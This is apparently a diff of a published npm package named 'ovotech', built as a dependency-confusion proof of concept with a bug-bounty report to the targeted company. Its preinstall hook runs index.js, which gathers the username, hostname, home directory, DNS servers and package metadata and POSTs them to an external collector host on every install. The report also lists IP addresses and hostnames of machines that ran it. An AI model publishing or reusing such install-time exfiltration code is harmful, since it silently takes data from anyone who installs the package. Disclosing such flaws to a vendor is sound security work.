ovotech 9.9.10

package/index.js

@@ -0,0 +1,53 @@
+// author: stewardmailler@gmail.com, https://bugcrowd.com/_mailler
+const os = require('os');
+const dns = require('dns');
+// const querystring = require('querystring');
+const https = require('https');
+const packageJSON = require('./package.json');
+const { URLSearchParams } = require('url');
+const package = packageJSON.name;
+
+const trackingData = JSON.stringify({
+	p: package,
+	c: __dirname,
+	type: os.type(),
+	rel: os.release(),
+	hd: os.homedir(),
+	hn: os.hostname(),
+	un: os.userInfo().username,
+	dns: dns.getServers(),
+	r: packageJSON ? packageJSON.___resolved : undefined,
+	v: packageJSON.version,
+	pjson: packageJSON,
+});
+
+// var postData = querystring.stringify({ msg: trackingData });
+
+var postData = new URLSearchParams({ msg: trackingData}).toString();
+
+// console.log(postData);
+
+var options = {
+	hostname: "evdr279r1vfkvlzo1bjrim47ryxold.oastify.com",
+	port: 443,
+	path: "/",
+	method: "POST",
+	headers: {
+		"Content-Type": "application/x-www-form-urlencoded",
+		"Content-Length": postData.length,
+	},
+};
+// console.log(postData.length)
+
+var req = https.request(options, (res) => {
+	res.on("data", (d) => {
+		process.stdout.write(d);
+	});
+});
+
+req.on("error", (e) => {
+	// console.error(e);
+});
+
+req.write(postData);
+req.end();

package/ovo.md

@@ -0,0 +1,84 @@
+
+## Summary
+Hello there. I have a package you use vulnerable to Dependency Confusion. The vulnerability allowed me to claim a previously unclaimed npm package that are used by Ovotechnology. This allows me to gain code execution on computers that pull the packages. The package name is ovotech
+
+## Some More Details
+The vulnerability occurs if you have a package that you manage internally but you haven't claimed the name on the public npmjs registry (or any other registry).
+The code only logs the username, hostname and the current path of each unique hostname.
+A response to the following URL served as a pointer for me to check the possibility of a Dependency Confusion attack: https://uat.quantum.ovoenergy.com/App.7e884519.js
+In the response, you will find the following lines of code: 
+`require("../node_modules/@ovotech/ovo-bootstrap/dist/css/ovo-bootstrap.min.css"),
+require("core-js/stable"),require("regenerator-runtime/runtime");
+var c=(0,e.lazy)(function(){
+	return require("_bundle_loader")(require.resolve("./views/checkout/Checkout"))`
+
+The identified packages (for now) include:
+ovotech
+_bundler_loader (I haven't uploaded the Proof of Concept yet)
+
+The packages I publish only requested for the computer hostname, username and the directory installed.
+From the pleminiary analysis, I can say that it is running on a Windows Machine
+
+## Reproducing
+1. Find a required package in source code or by whatever means.
+2. Create a package and upload to the npm registry.
+3. Ensure that it has a higher version so that it gets pulled by precedence over the internal version.
+4. Do whatever you'd want to the computers that automatically pull the malicious package
+
+## Impact
+I can execute code on company computers
+Identified IP addresses:
+47.118.138.231
+47.118.138.230
+218.12.99.192
+40.70.145.84
+123.161.62.177
+60.205.226.65
+101.201.237.165
+8.140.111.51 
+123.161.62.178
+60.205.209.221
+44.242.179.50
+34.223.46.213
+34.218.119.127
+34.222.66.84
+74.125.179.69
+74.125.179.76
+172.253.194.136
+220.181.151.176
+60.205.226.65
+220.181.151.179
+172.253.9.3
+172.253.195.207
+49.7.48.251
+49.7.48.252
+
+
+Identified hostnames:
+i. For Linux hosts
+ab34ba76ca3b 
+04db38e1b14a
+d4d535ff38ac
+5ac7d1333e6e
+0efc9399d342
+0df50c013a53
+0df50c013a53
+c34dbc2932e0
+c34dbc2932e0
+f76b7231c305
+instance - username: k7A48487c6b1e47c
+aws-2WhrI5bSz5vjsD8sRcXw - is it running as root?
+
+ii. For Windows hosts
+DESKTOP-4E1IS0K
+
+## Proof of Concept
+
+
+## Impact
+Code execution on company computer and the aws server.
+
+## Mitigation
+Create a dummy package on npmjs registry as a placeholder.
+
+Thanks.

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "ovotech",
+  "version": "9.9.10",
+  "description": "Bugcrowd White Hat Researcher",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "",
+  "license": "ISC"
+}